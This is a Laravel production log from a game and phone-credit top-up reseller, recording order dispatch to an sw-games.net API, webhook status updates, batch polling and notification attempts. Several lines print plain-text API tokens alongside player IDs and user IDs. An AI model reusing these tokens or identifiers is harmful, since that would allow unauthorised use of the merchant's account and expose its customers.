[2026-03-24 20:34:04] production.INFO: Bulk updated operations {"job":"Quryjob","job_id":"pmhiIP4yWgm3HCpQw5b7DRUbcKbyYgzz","execution_time":"2026-03-24 20:34:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-yYayI8Ak-1774372877","operation_id":164196,"count":2} 
[2026-03-24 20:34:04] production.INFO: Bulk updated orders {"job":"Quryjob","job_id":"pmhiIP4yWgm3HCpQw5b7DRUbcKbyYgzz","execution_time":"2026-03-24 20:34:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-yYayI8Ak-1774372877","operation_id":164196,"count":2} 
[2026-03-24 20:34:04] production.INFO: SendAcceptReject: Notification queued {"job":"Quryjob","job_id":"pmhiIP4yWgm3HCpQw5b7DRUbcKbyYgzz","execution_time":"2026-03-24 20:34:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-yYayI8Ak-1774372877","operation_id":164196,"user_id":797,"notification_type":"order_approved","reference_id":179338} 
[2026-03-24 20:34:04] production.INFO: SendAcceptReject: Notification queued {"job":"Quryjob","job_id":"pmhiIP4yWgm3HCpQw5b7DRUbcKbyYgzz","execution_time":"2026-03-24 20:34:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-yYayI8Ak-1774372877","operation_id":164196,"user_id":948,"notification_type":"order_approved","reference_id":179317} 
[2026-03-24 20:34:04] production.INFO: Chunk 1 processing completed {"job":"Quryjob","job_id":"pmhiIP4yWgm3HCpQw5b7DRUbcKbyYgzz","execution_time":"2026-03-24 20:34:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-yYayI8Ak-1774372877","operation_id":164196,"chunk_number":1,"processed":2,"errors":0,"total_operations":2,"total_orders":2,"total_codes":0,"total_refunds":0} 
[2026-03-24 20:34:04] production.INFO: Batch processing completed {"job":"Quryjob","job_id":"pmhiIP4yWgm3HCpQw5b7DRUbcKbyYgzz","execution_time":"2026-03-24 20:34:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-yYayI8Ak-1774372877","operation_id":164196,"total_processed":2,"total_errors":0,"chunks_processed":1} 
[2026-03-24 20:34:04] production.INFO: Batch update completed {"job":"Quryjob","job_id":"pmhiIP4yWgm3HCpQw5b7DRUbcKbyYgzz","execution_time":"2026-03-24 20:34:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-yYayI8Ak-1774372877","operation_id":164196,"processed":2,"errors":0} 
[2026-03-24 20:34:04] production.INFO: Batch query completed {"job":"Quryjob","job_id":"pmhiIP4yWgm3HCpQw5b7DRUbcKbyYgzz","execution_time":"2026-03-24 20:34:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-yYayI8Ak-1774372877","operation_id":164196,"processed":2,"errors":0} 
[2026-03-24 20:34:04] production.INFO: Processing site batch {"job":"Quryjob","job_id":"pmhiIP4yWgm3HCpQw5b7DRUbcKbyYgzz","execution_time":"2026-03-24 20:34:04","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-yYayI8Ak-1774372877","operation_id":164196,"orders_count":1,"order_ids":["ORD-CuahV8fu-1774373528"]} 
[2026-03-24 20:34:04] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"pmhiIP4yWgm3HCpQw5b7DRUbcKbyYgzz","execution_time":"2026-03-24 20:34:04","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-yYayI8Ak-1774372877","operation_id":164196} 
[2026-03-24 20:34:04] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"pmhiIP4yWgm3HCpQw5b7DRUbcKbyYgzz","execution_time":"2026-03-24 20:34:04","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-yYayI8Ak-1774372877","operation_id":164196,"orders_count":1} 
[2026-03-24 20:34:04] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"pmhiIP4yWgm3HCpQw5b7DRUbcKbyYgzz","execution_time":"2026-03-24 20:34:04","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-CuahV8fu-1774373528","operation_id":164214,"processed":1,"skipped":0,"updates_prepared":1} 
[2026-03-24 20:34:04] production.INFO: Starting chunked batch processing {"job":"Quryjob","job_id":"pmhiIP4yWgm3HCpQw5b7DRUbcKbyYgzz","execution_time":"2026-03-24 20:34:04","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-CuahV8fu-1774373528","operation_id":164214,"total_items":1,"chunks":1,"chunk_size":10} 
[2026-03-24 20:34:04] production.INFO: Bulk updated operations {"job":"Quryjob","job_id":"pmhiIP4yWgm3HCpQw5b7DRUbcKbyYgzz","execution_time":"2026-03-24 20:34:04","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-CuahV8fu-1774373528","operation_id":164214,"count":1} 
[2026-03-24 20:34:04] production.INFO: Bulk updated orders {"job":"Quryjob","job_id":"pmhiIP4yWgm3HCpQw5b7DRUbcKbyYgzz","execution_time":"2026-03-24 20:34:04","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-CuahV8fu-1774373528","operation_id":164214,"count":1} 
[2026-03-24 20:34:04] production.INFO: SendAcceptReject: Notification queued {"job":"Quryjob","job_id":"pmhiIP4yWgm3HCpQw5b7DRUbcKbyYgzz","execution_time":"2026-03-24 20:34:04","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-CuahV8fu-1774373528","operation_id":164214,"user_id":1414,"notification_type":"order_approved","reference_id":179336} 
[2026-03-24 20:34:04] production.INFO: Chunk 1 processing completed {"job":"Quryjob","job_id":"pmhiIP4yWgm3HCpQw5b7DRUbcKbyYgzz","execution_time":"2026-03-24 20:34:04","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-CuahV8fu-1774373528","operation_id":164214,"chunk_number":1,"processed":1,"errors":0,"total_operations":1,"total_orders":1,"total_codes":0,"total_refunds":0} 
[2026-03-24 20:34:04] production.INFO: Batch processing completed {"job":"Quryjob","job_id":"pmhiIP4yWgm3HCpQw5b7DRUbcKbyYgzz","execution_time":"2026-03-24 20:34:04","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-CuahV8fu-1774373528","operation_id":164214,"total_processed":1,"total_errors":0,"chunks_processed":1} 
[2026-03-24 20:34:04] production.INFO: Batch update completed {"job":"Quryjob","job_id":"pmhiIP4yWgm3HCpQw5b7DRUbcKbyYgzz","execution_time":"2026-03-24 20:34:04","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-CuahV8fu-1774373528","operation_id":164214,"processed":1,"errors":0} 
[2026-03-24 20:34:04] production.INFO: Batch query completed {"job":"Quryjob","job_id":"pmhiIP4yWgm3HCpQw5b7DRUbcKbyYgzz","execution_time":"2026-03-24 20:34:04","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-CuahV8fu-1774373528","operation_id":164214,"processed":1,"errors":0} 
[2026-03-24 20:34:04] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"pmhiIP4yWgm3HCpQw5b7DRUbcKbyYgzz","execution_time":"2026-03-24 20:34:04","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-CuahV8fu-1774373528","operation_id":164214} 
[2026-03-24 20:34:04] production.INFO: Handling job for order: 179339  
[2026-03-24 20:34:04] production.INFO: 219 {"apiToken":"8jz3jp0yds45726kahf2pll8an"} 
[2026-03-24 20:34:04] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 20:34:04] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/32/params?qty=1&uuid=3152b6fc-1e41-4fa4-854f-a957f875f34b&Player_ID=0984661084  
[2026-03-24 20:34:04] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/32/params?qty=1&uuid=3152b6fc-1e41-4fa4-854f-a957f875f34b&Player_ID=0984661084","has_body":false} 
[2026-03-24 20:34:05] production.INFO: Operation sent successfully {"operation_id":164217,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-ODS29PU-1774373645","amount":24.359329999999999927240423858165740966796875,"status":"processing","product":"23.08 Units SYR","game":"SYRIATEL UNITS","notes":[],"created_at":"2026-03-24 20:34:05"}},"processed_data":{"order_number":"ORD-ODS29PU-1774373645","amount":24.359329999999999927240423858165740966796875,"status":"processing","product":"23.08 Units SYR","game":"SYRIATEL UNITS"}} 
[2026-03-24 20:34:05] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 797  
[2026-03-24 20:34:05] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 948  
[2026-03-24 20:34:05] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1414  
[2026-03-24 20:34:28] production.INFO: Constructing job for order: 179340  
[2026-03-24 20:34:29] production.INFO: Handling job for order: 179340  
[2026-03-24 20:34:29] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 20:34:29] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 20:34:29] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/733/params?qty=44600&uuid=f8559309-6abe-4202-9482-78b97f350f24&Player_ID=3834249  
[2026-03-24 20:34:29] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/733/params?qty=44600&uuid=f8559309-6abe-4202-9482-78b97f350f24&Player_ID=3834249","has_body":false} 
[2026-03-24 20:34:30] production.INFO: Operation sent successfully {"operation_id":164218,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-mzpSX4-1774373669","amount":1.9247397599999997996889078422100283205509185791015625,"status":"processing","product":"Dana Amount","game":"DanaChat","notes":[],"created_at":"2026-03-24 20:34:30"}},"processed_data":{"order_number":"ORD-mzpSX4-1774373669","amount":1.9247397599999997996889078422100283205509185791015625,"status":"processing","product":"Dana Amount","game":"DanaChat"}} 
[2026-03-24 20:34:39] production.INFO: Constructing job for order: 179341  
[2026-03-24 20:34:42] production.INFO: Handling job for order: 179341  
[2026-03-24 20:34:42] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 20:34:42] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 20:34:42] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/865/params?qty=20000&uuid=fa79a07d-b1f9-411e-97a1-87ceb08b17ef&Player_ID=102559117  
[2026-03-24 20:34:42] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/865/params?qty=20000&uuid=fa79a07d-b1f9-411e-97a1-87ceb08b17ef&Player_ID=102559117","has_body":false} 
[2026-03-24 20:34:43] production.INFO: Operation sent successfully {"operation_id":164219,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-zXtmk-1774373682","amount":1.225471999999999894725988269783556461334228515625,"status":"processing","product":"Yoki live","game":"Yoki","notes":[],"created_at":"2026-03-24 20:34:43"}},"processed_data":{"order_number":"ORD-zXtmk-1774373682","amount":1.225471999999999894725988269783556461334228515625,"status":"processing","product":"Yoki live","game":"Yoki"}} 
[2026-03-24 20:35:04] production.INFO: Executing GetProducts task...  
[2026-03-24 20:35:04] production.INFO: بدأت مهمة GetProducts  
[2026-03-24 20:35:04] production.INFO: Executing GetProducts task...  
[2026-03-24 20:35:06] production.INFO: async() رجع: true  
[2026-03-24 20:35:06] production.INFO: هبدأ في refreshPriceinsite()  
[2026-03-24 20:35:06] production.WARNING: Product with ID 395 not found  
[2026-03-24 20:35:06] production.WARNING: Product with ID 213 not found  
[2026-03-24 20:35:06] production.WARNING: Product with ID 212 not found  
[2026-03-24 20:35:06] production.WARNING: Product with ID 211 not found  
[2026-03-24 20:35:06] production.WARNING: Product with ID 210 not found  
[2026-03-24 20:35:06] production.WARNING: Product with ID 209 not found  
[2026-03-24 20:35:06] production.WARNING: Product with ID 214 not found  
[2026-03-24 20:35:06] production.WARNING: Product with ID 215 not found  
[2026-03-24 20:35:06] production.WARNING: Product with ID 216 not found  
[2026-03-24 20:35:07] production.INFO: خلصت refreshPriceinsite()  
[2026-03-24 20:35:23] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-8HK-1774373328","status":"completed","notes":[],"codes":[]}} 
[2026-03-24 20:35:23] production.INFO: Processed webhook data (normalized) {"id":"ORD-8HK-1774373328","status":"completed","codes":[],"notes":[]} 
[2026-03-24 20:35:23] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 20:35:23] production.INFO: SendAcceptReject: Notification queued {"user_id":1552,"notification_type":"order_approved","reference_id":179333} 
[2026-03-24 20:35:23] production.INFO: Order updated successfully. Order ID: 179333, Status: completed  
[2026-03-24 20:35:23] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-8HK-1774373328","status":"completed","codes_count":0} 
[2026-03-24 20:35:25] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1552  
[2026-03-24 20:36:01] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"F5hL7zCMbS6DagPBHxVxLAya16pe7Xta","execution_time":"2026-03-24 20:36:01"} 
[2026-03-24 20:36:01] production.INFO: Found pending operations {"job":"Quryjob","job_id":"F5hL7zCMbS6DagPBHxVxLAya16pe7Xta","execution_time":"2026-03-24 20:36:01","total_operations":4,"sites_count":2} 
[2026-03-24 20:36:01] production.INFO: Processing site batch {"job":"Quryjob","job_id":"F5hL7zCMbS6DagPBHxVxLAya16pe7Xta","execution_time":"2026-03-24 20:36:01","site_id":3,"site_name":"swgamessd","orders_count":3,"order_ids":["ORD-Cx8j-1774373470","ORD-mzpSX4-1774373669","ORD-zXtmk-1774373682"]} 
[2026-03-24 20:36:01] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"F5hL7zCMbS6DagPBHxVxLAya16pe7Xta","execution_time":"2026-03-24 20:36:01","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 20:36:01] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"F5hL7zCMbS6DagPBHxVxLAya16pe7Xta","execution_time":"2026-03-24 20:36:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":3} 
[2026-03-24 20:36:01] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"F5hL7zCMbS6DagPBHxVxLAya16pe7Xta","execution_time":"2026-03-24 20:36:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-Cx8j-1774373470","operation_id":164213} 
[2026-03-24 20:36:01] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"F5hL7zCMbS6DagPBHxVxLAya16pe7Xta","execution_time":"2026-03-24 20:36:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-mzpSX4-1774373669","operation_id":164218} 
[2026-03-24 20:36:01] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"F5hL7zCMbS6DagPBHxVxLAya16pe7Xta","execution_time":"2026-03-24 20:36:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-zXtmk-1774373682","operation_id":164219} 
[2026-03-24 20:36:01] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"F5hL7zCMbS6DagPBHxVxLAya16pe7Xta","execution_time":"2026-03-24 20:36:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-zXtmk-1774373682","operation_id":164219,"processed":0,"skipped":3,"updates_prepared":0} 
[2026-03-24 20:36:01] production.INFO: Batch query completed {"job":"Quryjob","job_id":"F5hL7zCMbS6DagPBHxVxLAya16pe7Xta","execution_time":"2026-03-24 20:36:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-zXtmk-1774373682","operation_id":164219,"processed":0,"errors":0} 
[2026-03-24 20:36:01] production.INFO: Processing site batch {"job":"Quryjob","job_id":"F5hL7zCMbS6DagPBHxVxLAya16pe7Xta","execution_time":"2026-03-24 20:36:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-zXtmk-1774373682","operation_id":164219,"orders_count":1,"order_ids":["ORD-ODS29PU-1774373645"]} 
[2026-03-24 20:36:01] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"F5hL7zCMbS6DagPBHxVxLAya16pe7Xta","execution_time":"2026-03-24 20:36:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-zXtmk-1774373682","operation_id":164219} 
[2026-03-24 20:36:01] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"F5hL7zCMbS6DagPBHxVxLAya16pe7Xta","execution_time":"2026-03-24 20:36:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-zXtmk-1774373682","operation_id":164219,"orders_count":1} 
[2026-03-24 20:36:01] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"F5hL7zCMbS6DagPBHxVxLAya16pe7Xta","execution_time":"2026-03-24 20:36:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-ODS29PU-1774373645","operation_id":164217,"processed":1,"skipped":0,"updates_prepared":1} 
[2026-03-24 20:36:01] production.INFO: Starting chunked batch processing {"job":"Quryjob","job_id":"F5hL7zCMbS6DagPBHxVxLAya16pe7Xta","execution_time":"2026-03-24 20:36:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-ODS29PU-1774373645","operation_id":164217,"total_items":1,"chunks":1,"chunk_size":10} 
[2026-03-24 20:36:01] production.INFO: Bulk updated operations {"job":"Quryjob","job_id":"F5hL7zCMbS6DagPBHxVxLAya16pe7Xta","execution_time":"2026-03-24 20:36:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-ODS29PU-1774373645","operation_id":164217,"count":1} 
[2026-03-24 20:36:01] production.INFO: Bulk updated orders {"job":"Quryjob","job_id":"F5hL7zCMbS6DagPBHxVxLAya16pe7Xta","execution_time":"2026-03-24 20:36:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-ODS29PU-1774373645","operation_id":164217,"count":1} 
[2026-03-24 20:36:01] production.INFO: SendAcceptReject: Notification queued {"job":"Quryjob","job_id":"F5hL7zCMbS6DagPBHxVxLAya16pe7Xta","execution_time":"2026-03-24 20:36:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-ODS29PU-1774373645","operation_id":164217,"user_id":1414,"notification_type":"order_approved","reference_id":179339} 
[2026-03-24 20:36:01] production.INFO: Chunk 1 processing completed {"job":"Quryjob","job_id":"F5hL7zCMbS6DagPBHxVxLAya16pe7Xta","execution_time":"2026-03-24 20:36:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-ODS29PU-1774373645","operation_id":164217,"chunk_number":1,"processed":1,"errors":0,"total_operations":1,"total_orders":1,"total_codes":0,"total_refunds":0} 
[2026-03-24 20:36:01] production.INFO: Batch processing completed {"job":"Quryjob","job_id":"F5hL7zCMbS6DagPBHxVxLAya16pe7Xta","execution_time":"2026-03-24 20:36:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-ODS29PU-1774373645","operation_id":164217,"total_processed":1,"total_errors":0,"chunks_processed":1} 
[2026-03-24 20:36:01] production.INFO: Batch update completed {"job":"Quryjob","job_id":"F5hL7zCMbS6DagPBHxVxLAya16pe7Xta","execution_time":"2026-03-24 20:36:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-ODS29PU-1774373645","operation_id":164217,"processed":1,"errors":0} 
[2026-03-24 20:36:01] production.INFO: Batch query completed {"job":"Quryjob","job_id":"F5hL7zCMbS6DagPBHxVxLAya16pe7Xta","execution_time":"2026-03-24 20:36:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-ODS29PU-1774373645","operation_id":164217,"processed":1,"errors":0} 
[2026-03-24 20:36:01] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"F5hL7zCMbS6DagPBHxVxLAya16pe7Xta","execution_time":"2026-03-24 20:36:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-ODS29PU-1774373645","operation_id":164217} 
[2026-03-24 20:36:01] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1414  
[2026-03-24 20:37:07] production.INFO: transferapi Exception: amounttransfer is not equal to mainminbalance {"exception":"amounttransfer is not equal to mainminbalance"} 
[2026-03-24 20:37:07] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 619  
[2026-03-24 20:37:07] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 761  
[2026-03-24 20:37:15] production.INFO: Constructing job for order: 179342  
[2026-03-24 20:37:16] production.INFO: Handling job for order: 179342  
[2026-03-24 20:37:16] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 20:37:16] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 20:37:16] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/109/params?qty=15000&uuid=0621577f-1384-4dfa-b203-ffce45402a74&Player_ID=1859163633  
[2026-03-24 20:37:16] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/109/params?qty=15000&uuid=0621577f-1384-4dfa-b203-ffce45402a74&Player_ID=1859163633","has_body":false} 
[2026-03-24 20:37:17] production.INFO: Operation sent successfully {"operation_id":164220,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-5rZVfLd-1774373837","amount":1.688400000000000122923893286497332155704498291015625,"status":"processing","product":"Tokens Amount","game":"Jawaker","notes":[],"created_at":"2026-03-24 20:37:17"}},"processed_data":{"order_number":"ORD-5rZVfLd-1774373837","amount":1.688400000000000122923893286497332155704498291015625,"status":"processing","product":"Tokens Amount","game":"Jawaker"}} 
[2026-03-24 20:37:23] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-5rZVfLd-1774373837","status":"completed","notes":["جميع العمليات اكتملت بنجاح"],"codes":[]}} 
[2026-03-24 20:37:23] production.INFO: Processed webhook data (normalized) {"id":"ORD-5rZVfLd-1774373837","status":"completed","codes":[],"notes":["جميع العمليات اكتملت بنجاح"]} 
[2026-03-24 20:37:23] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 20:37:23] production.INFO: SendAcceptReject: Notification queued {"user_id":302,"notification_type":"order_approved","reference_id":179342} 
[2026-03-24 20:37:23] production.INFO: Order updated successfully. Order ID: 179342, Status: completed  
[2026-03-24 20:37:23] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-5rZVfLd-1774373837","status":"completed","codes_count":0} 
[2026-03-24 20:37:23] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 302  
[2026-03-24 20:38:02] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-zXtmk-1774373682","status":"completed","notes":["جميع العمليات اكتملت بنجاح"],"codes":[]}} 
[2026-03-24 20:38:02] production.INFO: Processed webhook data (normalized) {"id":"ORD-zXtmk-1774373682","status":"completed","codes":[],"notes":["جميع العمليات اكتملت بنجاح"]} 
[2026-03-24 20:38:02] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 20:38:02] production.INFO: SendAcceptReject: Notification queued {"user_id":948,"notification_type":"order_approved","reference_id":179341} 
[2026-03-24 20:38:02] production.INFO: Order updated successfully. Order ID: 179341, Status: completed  
[2026-03-24 20:38:02] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-zXtmk-1774373682","status":"completed","codes_count":0} 
[2026-03-24 20:38:02] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"k0E8RfiaSfP6bGzCR0Upzg9GpLonuazZ","execution_time":"2026-03-24 20:38:02"} 
[2026-03-24 20:38:02] production.INFO: Found pending operations {"job":"Quryjob","job_id":"k0E8RfiaSfP6bGzCR0Upzg9GpLonuazZ","execution_time":"2026-03-24 20:38:02","total_operations":2,"sites_count":1} 
[2026-03-24 20:38:02] production.INFO: Processing site batch {"job":"Quryjob","job_id":"k0E8RfiaSfP6bGzCR0Upzg9GpLonuazZ","execution_time":"2026-03-24 20:38:02","site_id":3,"site_name":"swgamessd","orders_count":2,"order_ids":["ORD-Cx8j-1774373470","ORD-mzpSX4-1774373669"]} 
[2026-03-24 20:38:02] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"k0E8RfiaSfP6bGzCR0Upzg9GpLonuazZ","execution_time":"2026-03-24 20:38:02","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 20:38:03] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"k0E8RfiaSfP6bGzCR0Upzg9GpLonuazZ","execution_time":"2026-03-24 20:38:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":2} 
[2026-03-24 20:38:03] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"k0E8RfiaSfP6bGzCR0Upzg9GpLonuazZ","execution_time":"2026-03-24 20:38:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-Cx8j-1774373470","operation_id":164213} 
[2026-03-24 20:38:03] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"k0E8RfiaSfP6bGzCR0Upzg9GpLonuazZ","execution_time":"2026-03-24 20:38:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-mzpSX4-1774373669","operation_id":164218} 
[2026-03-24 20:38:03] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"k0E8RfiaSfP6bGzCR0Upzg9GpLonuazZ","execution_time":"2026-03-24 20:38:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-mzpSX4-1774373669","operation_id":164218,"processed":0,"skipped":2,"updates_prepared":0} 
[2026-03-24 20:38:03] production.INFO: Batch query completed {"job":"Quryjob","job_id":"k0E8RfiaSfP6bGzCR0Upzg9GpLonuazZ","execution_time":"2026-03-24 20:38:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-mzpSX4-1774373669","operation_id":164218,"processed":0,"errors":0} 
[2026-03-24 20:38:03] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"k0E8RfiaSfP6bGzCR0Upzg9GpLonuazZ","execution_time":"2026-03-24 20:38:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-mzpSX4-1774373669","operation_id":164218} 
[2026-03-24 20:38:03] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 948  
[2026-03-24 20:38:04] production.INFO: Constructing job for order: 179343  
[2026-03-24 20:38:06] production.INFO: Handling job for order: 179343  
[2026-03-24 20:38:06] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 20:38:06] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 20:38:06] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/53/params?qty=1&uuid=0b460796-0050-46bd-a699-211e007a2f8c&Player_ID=52292649335  
[2026-03-24 20:38:06] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/53/params?qty=1&uuid=0b460796-0050-46bd-a699-211e007a2f8c&Player_ID=52292649335","has_body":false} 
[2026-03-24 20:38:06] production.INFO: Operation sent successfully {"operation_id":164221,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-gWk37Q-1774373886","amount":0.89249999999999996003197111349436454474925994873046875,"status":"processing","product":"60UC","game":"PUBG","notes":[],"created_at":"2026-03-24 20:38:06"}},"processed_data":{"order_number":"ORD-gWk37Q-1774373886","amount":0.89249999999999996003197111349436454474925994873046875,"status":"processing","product":"60UC","game":"PUBG"}} 
[2026-03-24 20:38:18] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-gWk37Q-1774373886","status":"completed","notes":["__"],"codes":[]}} 
